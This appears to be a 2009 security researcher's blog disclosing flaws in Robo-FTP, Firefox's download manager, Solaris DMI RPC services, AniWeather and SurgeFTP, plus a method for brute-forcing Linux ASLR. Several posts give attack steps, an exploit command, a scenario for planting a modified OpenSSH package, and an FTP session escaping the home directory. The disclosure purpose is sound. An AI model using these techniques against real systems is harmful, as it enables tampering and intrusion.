Friday, November 20, 2009

Some vendors are 'unconcerned'

Around 10 months ago, I was fuzzing with my ftp client fuzzer (unreleased). I came across Robo-FTP, which provides client and server solutions for FTP.
"The Robo-FTP Product Suite
The most powerful, secure and flexible
tool for automated file transfers
and related workflow management."
At least they're marketing people did a good job :)

So after I explored the software a little bit, I decided to start fuzzing. I saved the server/login information on Robo-FTP and started the fuzzer listening on port 2121. Logon!

In the console box I see:
220
........................................................................
and just stops there. I hit Exit and it took me back to the main application. I clicked on "Tools" again, but I couldn't "Run FTP Client Applet" anymore. Thats weird. Then I exited Robo-FTP...
Robo-FTP.exe: The instruction at 0x7C9102F6 referenced memory
at 0x41414140. The memory could not be read (0x7C9102F6 -> 0x41414140).
I contacted Robo-FTP about the vulnerability and they said something to the effect of 'they would look into it' and they appreciated my concern. I haven't heard anything from them since. A few days ago, I started thinking about this bug again and wondered if they ever fixed it.

After checking their website I seen the latest version (3.6.17) had been released November 2nd. I downloaded the new version, ran the fuzzer and connected again.. ?!?! The bug was never fixed! Not that this is surprising to me, but it may be to others that use and rely on this product...

Wednesday, October 28, 2009

Firefox Local Download Manager Vulnerability

A video demonstrating exploitation of this vulnerability is available here.

Now for the technical details...

When downloading files through Firefox and choosing the "Open with" option, Firefox will create a temporary file in the form of RANDOM.part ("RANDOM" is random alphanumeric characters and ".part" is the extension). When the download completes, Firefox saves the completed file in the "/tmp" directory as its original filename and opens it with the program's handler (for example, Ark for compressed archives, VLC for .mp3, WINE for .exe, etc).

Now, what if there is already a file with an identical filename in the temporary file directory? Firefox uses the scheme of saving and opening the completed download as "/tmp/file-#.zip", where "file" is the file's name, "-#" is a dash and the next available number in order, and ".zip" is of course the file's extension. So if "/tmp/file.zip" already exists and the user tries to download a file with the same name, Firefox saves and opens the newly downloaded file as "/tmp/file-1.zip". That scheme looked suspicious to me, and raised a couple good questions.

1) What is the maximum number in the filename?
2) What happens when it reaches that maximum number?

Testing has proved that 9999, for example "/tmp/file-9999.zip", is the maximum number Firefox will use to deal with identical "Open with" filenames. Instead of using "/tmp/file-10000.zip", Firefox will just use the original identical file instead of the one it was supposed to download and open. That can get dangerous when local users can write to "/tmp" just like everybody else :)

To exploit this situation, we need to know the filename that will be downloaded ahead of time. Then it is just a matter of creating the excess files, placing our "replacement" file (with the identical filename) in "/tmp", and waiting for the target user to use the "Open with" option to download a file. A file of our choosing will appear in the download history (as a "ghost pointer", one mozilla guy noted). If the file doesn't automatically open (as most testing shows), then the average user is going to simply double click on the pointer in history anyways, opening our replacement file. We wouldn't even nessesarily have to know "ahead of time". According to how long it would take to complete the download (remember Firefox is writing to "/tmp/RANDOM.part" until its finished downloading), we could do our business while the file is still downloading (again, as long as we know its filename).

There are many scenarios where we could leverage this vulnerability... here is one example.

* Administrator is downloading openssh-5.2.tar.gz
* We run the exploit to replace openssh-5.2.tar.gz with a modified version
* Administrator installs our OpenSSH 5.2 with our _modifications_

The download history will still show the name of the site that supplied the original file and the original filename even when the target user opened the our replacement file instead.

Conditions that have to be met for exploitation to succeed:

1. The ability to write in the temporary file directory, "/tmp" by default on Linux (shell, ftp, etc with write permissions could be helpful for making this work remotely)

2. The target user chooses to download the file and chooses the "Open with" preference

3. The target user also has to double click the file in the download manager (in previous testing, if I recall correctly, the file opened automatically, as normal behavior; but that can no longer be confirmed)

Firefox on Windows has slightly different results. I found during testing that when the download completes, the right file will be opened. Although unreliable, we were able to get the history of the file in download manager to show the replacement file and it will be opened if the user chooses to open it from there. Exploitation on Windows would be limited anyways due to the fact that you don't usually see as much remote access to do local things on Windows as its fairly common on Linux. On Linux it is also common for the replacement file to be kept in history when using this exploit, which can be useful for helping play off the exploit when you don't want the target to think anything much is out of the ordinary :)

mozilla-1.9.1/xpcom/io/nsLocalFileCommon.cpp -> LINES [85-174]:
NS_IMETHODIMP
nsLocalFile::CreateUnique(PRUint32 type, PRUint32 attributes)
{
nsresult rv;
PRBool longName;

#ifdef XP_WIN
nsAutoString pathName, leafName, rootName, suffix;
rv = GetPath(pathName);
#else
nsCAutoString pathName, leafName, rootName, suffix;
rv = GetNativePath(pathName);
#endif
if (NS_FAILED(rv))
return rv;

longName = (pathName.Length() + kMaxSequenceNumberLength >
kMaxFilenameLength);
if (!longName)
{
rv = Create(type, attributes);
if (rv != NS_ERROR_FILE_ALREADY_EXISTS)
return rv;
}

#ifdef XP_WIN
rv = GetLeafName(leafName);
if (NS_FAILED(rv))
return rv;

const PRInt32 lastDot = leafName.RFindChar(PRUnichar('.'));
#else
rv = GetNativeLeafName(leafName);
if (NS_FAILED(rv))
return rv;

const PRInt32 lastDot = leafName.RFindChar('.');
#endif

if (lastDot == kNotFound)
{
rootName = leafName;
}
else
{
suffix = Substring(leafName, lastDot); // include '.'
rootName = Substring(leafName, 0, lastDot); // strip suffix and dot
}

if (longName)
{
PRUint32 maxRootLength = (kMaxFilenameLength -
(pathName.Length() - leafName.Length()) -
suffix.Length() - kMaxSequenceNumberLength);
#ifdef XP_WIN
// ensure that we don't cut the name in mid-UTF16-character
rootName.SetLength(NS_IS_LOW_SURROGATE(rootName[maxRootLength]) ?
maxRootLength - 1 : maxRootLength);
SetLeafName(rootName + suffix);
#else
if (NS_IsNativeUTF8())
// ensure that we don't cut the name in mid-UTF8-character
while (UTF8traits::isInSeq(rootName[maxRootLength]))
--maxRootLength;
rootName.SetLength(maxRootLength);
SetNativeLeafName(rootName + suffix);
#endif
nsresult rv = Create(type, attributes);
if (rv != NS_ERROR_FILE_ALREADY_EXISTS)
return rv;
}

for (int indx = 1; indx < 10000; indx++)
{
// start with "Picture-1.jpg" after "Picture.jpg" exists
#ifdef XP_WIN
SetLeafName(rootName +
NS_ConvertASCIItoUTF16(nsPrintfCString("-%d", indx)) +
suffix);
#else
SetNativeLeafName(rootName + nsPrintfCString("-%d", indx) + suffix);
#endif
rv = Create(type, attributes);
if (NS_SUCCEEDED(rv) || rv != NS_ERROR_FILE_ALREADY_EXISTS)
return rv;
}

// The disk is full, sort of
return NS_ERROR_FILE_TOO_BIG;
}
That codes gives us a good look at how the scheme works.

I tested the "Save As" option and it doesn't seem to be vulnerable (it saved, for example, file(1000000).zip).

Yes, the header is roughly 3 times as many lines as the actual exploit code, but hey, this bug has a lot of details and ideas but is also very simple to exploit.

linux@ubuntu:~$ ./getunique right zip /home/linux/Desktop/wrong.zip
(target downloads right.zip and opens it the same filename, but with wrong.zip's contents)

Muy Bueno :)

Thunderbird doesn't seems to respond by not responding to the open when running the exploit. This code looks like its shared across Mozilla's codebase, so other applications like the SeaMonkey suite may be vulnerable as well. Mozilla also seems handle certain file types like tar.gz and tar.bz2 differently, see the code for more information.. you may even have to double click the file's entry in download manager if Firefox doesn't automatically open it. One way or another, though, this vulnerability is decently reliable, on Linux at least.

Mozilla has released updates fixing this vulnerability.

Full exploit code is now available.

Friday, September 25, 2009

Desktop Management Interface (DMI)

Anyone scanning a Sun Solaris box for RPC services can usually expect a number of them to be running and available. Some of the services such as "status" or "rquotad" are well documented and well known, so researching their purpose and functions is trivial. But writing client operations for some programs can be easier than others, such as DMI.

DMI stands for Desktop Management Interface, a specification to establish a framework that handles communication between management software and managed components. DMI can be used locally or remotely through RPC and is mappable to other management protocols such as SNMP.

DMI has four components.

1) MIF (Management Information Format)
Describes management information.

2) SP (Service Provider)
Connects the management software and managed components.

3) CI (Component Interface)
API to enable a component to be managed.

4) MI (Management Interface)
API to manage components.

A couple of RPC services that employ DMI on Solaris are "dmispd" and "snmpXdmid".

For a description of dmispd, I will quote from its manpages...

"The DMI Service Provider, dmispd, is the core of the DMI solution. Management applications and Component instrumentations communicate with each other through the Service Provider. The Service Provider coordinates and arbitrates requests from the management application to the specified component instrumentations. The Service Provider handles runtime management of the Component Interface (CI) and the Management Interface (MI), including component installation, registration at the MI and CI level, request serialization and synchronization, event handling for CI, and general flow control and housekeeping."

And the same for snmpXdmid..

"The snmpXdmid utility is a subagent in the Solstice Enterprise Agent Desktop Management Interface package. It maps the SNMP requests forwarded by the Master Agent (snmpdx(1M)) into one or more equivalent DMI requests. Further, it remaps the DMI response into SNMP response back to snmpdx."

When I was writing modules for dmispd/snmpXdmid for RPC fuzzing, I couldn't find much documentation, so I had gather information for various resources and put it all together. I'd like to thank open source developers for their code that was so helpful too. Researching the protocols and using the information I found enabled me to write the modules and fuzz dmispd/snmpXdmid.
dmispd program number: 300598
dmispd program version: 1

dmispd procedures:

REGISTER 512
UNREGISTER 513
GETVERSION 514
GETCONFIG 515
SETCONFIG 516
LISTCOMPONENTS 517
LISTCOMPONENTSBYCLASS 518
LISTLANGUAGES 519
LISTCLASSNAMES 520
LISTGROUPS 521
LISTATTRIBUTES 522
ADDROW 523
DELETEROW 524
GETMULTIPLE 525
SETMULTIPLE 526
ADDCOMPONENT 527
ADDLANGUAGE 528
ADDGROUP 529
DELETECOMPONENT 530
DELETELANGUAGE 531
DELETEGROUP 532
GETATTRIBUTE 533
SETATTRIBUTE 534
Rather odd procedure call numbers. They are usually lower ranges like 1-5, etc.
snmpXdmid program number: 100249
snmpXdmid program version: 1

snmpXdmid procedures:

DELIVEREVENT 256
ADDCOMPONENT 257
UNKNOWN 258
UNKNOWN 259
UNKNOWN 260
UNKNOWN 261
UNKNOWN 262
UNKNOWN 263
UNKNOWN procedures are those which I couldn't find names.

During fuzzing, I found an issue that is reproducable in both dmispd and snmpXdmid allowing a remote user to consume resources on the whole system. By calling ADDROW and sending data (in a loop or not, doesn't matter) to dmispd causes the process to consume resources and temporarily "freeze" the system. DELETEROW and DELETELANGUAGE also have the same issue.

You can check out camisado.c if you are interested.

SnmpXdmid also suffers from the same issue with ADDCOMPONENT and all the other procedures that (are valid and) I have tested. If you'd like to test snmpXdmid just reuse the code for dmispd. This issue is nothing special, but I figure the code and research could help others that are interested in DMI, RPC, and security. Plus.. I like seeing code do unexpected or unintended things :)

If you happen to see any errors or have more information on DMI and DMI related research, I would appreciate if you would let me know. I try to make sure all information is as accurate as possible, but mistakes can happen from time to time.

Wednesday, September 9, 2009

Vamos Updates!

Lots of things have been going on and I'm gonna do a quick update.

I released 3 new exploits on 09.07.2009.

Ipswitch WS_FTP 12 Professional Remote Format String 0day PoC
nocoolnameforawsftppoc.pl

I actually got a non-robotic, insightful vendor response!

We saw your post regarding this vulnerability and wanted to thank you
for bringing it to our attention. We have been able to reproduce the
issue and have identified a fix. Our (Ipswitch File Transfer Division)
policy is to notify the first reporting company (via email), then after
fixing, give mention to you in the Release Notes when the patch is released.

You mention in your post that you tried to find a resource at Ipswitch.
Can you tell me who you tried, so we can be more responsive in the future?

Sent in response:

Thanks for fixing the issue, please link me to the release notes when
the updates are publically issued. I attempted to go through the
support procedure, but the process seemed vague when trying to report
a security issue. Like most other vendors that make security a top
priority, a security contact email is issued and make publically
available along with a team dedicated to fixing and responding to
emails about security issues.

And then I got:

Thanks for your response. I can see where the standard support procedure
would seem vague for this purpose. I did find out (today) that we have a
security@ipswitch.com email that is monitored. We'll need to do a better
job of publicizing it.

I'll let you know when we have a release for the fix.

GemStone/S 6.3.1 "stoned" Local Buffer Overflow Exploit
wonderfulcaricatureofexploitability.c

Which is a good example of beating Linux's ASLR implementation as discussed in a previous post.

Safari 3.2.3 (Win32) 'eval' Remote Denial of Service Exploit
letsgosurfinnowonsafari.pl

This is a bug that was in Krakow Lab's Fun Archive for a while and was fixed in Safari 4.

I just released 4f, The File Format Fuzzing Framework at the Krakow Labs website today, you should check it out, and if you want to write modules for it there is a section explaining just how to do it. You can also check out the video graciously hosted by SecurityTube (a GREAT site!) if you'd like to see 4f in action.

Also, I am working with Mozilla on a vulnerability that affects Firefox 2.x and 3.x, currently tested up to 3.6a1 and allows users to tamper with other users downloads. You can check out the video here and I will be releasing exploit code as soon as updates fixing the issue are provided.

Tuesday, August 4, 2009

AniWeather Add-on Configuration Vulnerability

AniWeather is a very popular add-on for both Mozilla Firefox and Google's Chrome. While looking at its configuration page one day, I realized that there wasn't much protecting AniWeather's configuration.

To configure AniWeather, it uses this page hosted at the AniWeather website. I copied the page and ran it as a local file: it worked the same! Just keep it the same filename -> aniweather.config2.html.

AniWeather was just checking if the filename was the same, allowing anyone to host the file that does configuration, possibly with other intentions.. such as onload configuration changes to take effect when a target user visits the webpage, etc. Not a huge vulnerability, but configuration files should be protected at all times, especially from untrusted remote hosts.

Kudos to the team at AniWeather, they provided a decent fix that checks the hostname and makes sure the configuration page that interacts with the add-on comes from the trusted source. Just watch out for DNS attacks now.. heh.
Thanks for reporting the vulnerability. I have upgraded the add-on
and forced the host name checking. AniWeather uses a configuration page
mainly to be compatible w/ Google Chrome browser so that both browsers
share identical experience.

Since these days updating add-ons in mozilla.org takes forever, you can
get the latest version (0.6.9) directly from

www.aniweather.com.

In fact, if you are a US user, you can also enjoy a rich set of graphic
reports (including hi-res radar) in the new version. Let me know if you
have any further questions or comments.

Thanks again and have a nice day!
It actually took them less than 2 hours to respond and upgrade AniWeather... now if other vendors could be so efficient :)

Friday, July 17, 2009

Beating Linux ASLR

ASLR (Address Space Layout Randomization) implementations in general have caused quite a stir in the seats of exploit developers in the last couple years. By randomizing potential payload memory, things can get tough for people who want a shell, and want it now. But there is good news, at least for hackers that attack software "protected" by the Linux Kernel's implementation of ASLR: It isn't as good as many perceive it to be.

One technique in particular that can beat it is to simply brute force the return address. This attack works well when trying to hit a payload on a local system or even a remote target that isn't disturbed by wrong guesses. It relies on the fact that only 24/32 bits are randomized and do wonders if enough stack space is available to store large nop slides. For example...

ASLR ON

rush@ubuntu:~$ ./env HOME
[HOME] @ 0xbfcafe75
rush@ubuntu:~$ ./env HOME
[HOME] @ 0xbf88de75
rush@ubuntu:~$ ./env HOME
[HOME] @ 0xbfeafe75
rush@ubuntu:~$ ./env HOME
[HOME] @ 0xbfeb3e75
rush@ubuntu:~$ ./env HOME
[HOME] @ 0xbff10e75
rush@ubuntu:~$


ASLR OFF

rush@ubuntu:~$ ./env HOME
[HOME] @ 0xbffffe75
rush@ubuntu:~$ ./env HOME
[HOME] @ 0xbffffe75
rush@ubuntu:~$ ./env HOME
[HOME] @ 0xbffffe75
rush@ubuntu:~$ ./env HOME
[HOME] @ 0xbffffe75
rush@ubuntu:~$ ./env HOME
[HOME] @ 0xbffffe75
rush@ubuntu:~$


As you can see, when ASLR is on, the environmental variable "HOME" could be at many different addresses in memory, hence the address space being "randomized". And of course, when it is off, its pretty stationary.

--> Store a large number of NOPS (0x90) and shellcode on the stack as our payload (buffer, environment)

--> Overwrite the extended instruction pointer with a semi-random return address

--> Keeping trying until we hit a random return address that points to our nop slide and shellcode

bash#

:)

Utilizing this technique renders ASLR nearly useless as an exploitation deterrent, meaning its no longer a problem when meeting the requirements (you execute code on the stack (or heap, for example, heap spray), compiler protections aren't making themselves a problem, etc).

An obvious problem with this technique is that it assumes the stack is executable, which is more common than we'd live to admit these days. GCC4 also has presented problems that this technique doesn't address but some binaries and/or closed source software packages you find across the internet may be compiled with different libraries, compilers, settings, and with or without protections. I should also mention that trying this technique on 64-bit systems would be make much less efficient, if worth it at all, since more bits are randomized.

I plan on releasing real exploit code later on utilizing this technique, but for now, Jon Oberheide has a nice exploit for libvirt_proxy that can certainly be used as a reference of this form of attacking ASLR.

Also, this great site called SecurityTube hosts lots of nice videos for the computer security aware, including this cool one on bypassing ASLR through brute force like I've discussed today.

Enjoy :D

So other fuel for thought could be exploiting bugs that require malformed files. Loading up an interpreter with a significant number of payloads could be made slightly practical for even a "one hit wonder" return address.

Always remember that when you can easily control the system's memory resources, either by remotely through a client like a web browser (heap spray, heap feng shui, etc) or bashing applications on a local system, you always have options.

Friday, June 5, 2009

Breaking Out in SurgeFTP

There is a funny bug SurgeFTP that allows users to break out of their home directory.

SurgeFTP will follow symbolic links, so exploiting this is as easy as being able to create links to directories of your choosing.
rush@ubuntu:~$ ftp example
Connected to example.
220 SurgeFTP example (Version 2.3a6)
Name (example:rush): test
331 Password required for test.
Password:
230- Alias Real path Access
230- / /home/test read+write
230 User test logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
257 "/" is current directory.
ftp> ls
200 PORT command successful.
150 Opening BINARY connection for /
-rw------- 1 test test 75 Jun 4 22:09 .bash_history
-rw-r--r-- 1 test test 220 Jun 4 22:07 .bash_logout
-rw-r--r-- 1 test test 3115 Jun 4 22:07 .bashrc
-rw-r--r-- 1 test test 675 Jun 4 22:07 .profile
lrwxrwxrwx 1 test test 4096 Jun 4 22:09 fs -> /
226 Transfer complete.
ftp> cd fs
250 CWD command successful now (/fs)
ftp> pwd
257 "/fs" is current directory.
ftp> ls
200 PORT command successful.
150 Opening BINARY connection for /fs
drwxr-xr-x 2 root root 4096 May 15 0:10 bin
drwxr-xr-x 3 root root 4096 May 15 13:34 boot
lrwxrwxrwx 1 root root 4096 Apr 28 12:02 cdrom -> media/cdrom
drwxr-xr-x 3 root root 4096 May 22 14:32 debian
drwxr-xr-x 15 root root 3800 Jun 4 13:11 dev
drwxr-xr-x 160 root root 12288 Jun 4 22:07 etc
drwxr-xr-x 6 root root 4096 Jun 4 22:07 home
lrwxrwxrwx 1 root root 7534504 May 15 0:25 initrd.img -> boot/initrd.img-2.6.28-11-generic
lrwxrwxrwx 1 root root 8220906 Apr 28 12:34 initrd.img.old -> boot/initrd.img-2.6.27-7-generic
drwxr-xr-x 20 root root 12288 May 22 14:18 lib
drwx------ 2 root root 16384 Apr 28 12:01 lost+found
drwxr-xr-x 3 root root 4096 Oct 29 2008 media
drwxr-xr-x 2 root root 4096 Oct 20 2008 mnt
drwxr-xr-x 3 root root 4096 May 29 1:18 opt
dr-xr-xr-x 153 root root 0 Jun 4 13:09 proc
drwxr-xr-x 13 root root 4096 May 22 16:43 root
drwxr-xr-x 2 root root 4096 May 15 20:09 sbin
drwxr-xr-x 2 root root 4096 Mar 6 11:21 selinux
drwxr-xr-x 2 root root 4096 Oct 29 2008 srv
drwxr-xr-x 12 root root 0 Jun 4 13:09 sys
drwxrwxrwt 17 root root 20480 Jun 4 21:50 tmp
drwxr-xr-x 12 root root 4096 May 22 14:18 usr
drwxr-xr-x 16 root root 4096 May 22 14:10 var
lrwxrwxrwx 1 root root 3501776 May 15 0:25 vmlinuz -> boot/vmlinuz-2.6.28-11-generic
lrwxrwxrwx 1 root root 2244272 Apr 28 12:34 vmlinuz.old -> boot/vmlinuz-2.6.27-7-generic
226 Transfer complete.
ftp> cd /
250 CWD command successful now (/)
ftp> pwd
257 "/" is current directory.
ftp> ls
200 PORT command successful.
150 Opening BINARY connection for /
-rw------- 1 test test 75 Jun 4 22:09 .bash_history
-rw-r--r-- 1 test test 220 Jun 4 22:07 .bash_logout
-rw-r--r-- 1 test test 3115 Jun 4 22:07 .bashrc
-rw-r--r-- 1 test test 675 Jun 4 22:07 .profile
lrwxrwxrwx 1 test test 4096 Jun 4 22:09 fs -> /
226 Transfer complete.
ftp> bye
221 Closing connection - goodbye!
rush@ubuntu:~$

Since the user would have to be able to make the links in the first place (probably using a shell), so risk is low in most circumstances.

Vendor Response:
Thanks for reporting this, here is a new build
http://netwinsite.com/ftp/misc/surgeftp_23a10_linux.tar.gz

This has a new setting
global_nosymlink "true"
which you can turn on to disable this behaviour.
Much better than nothing :)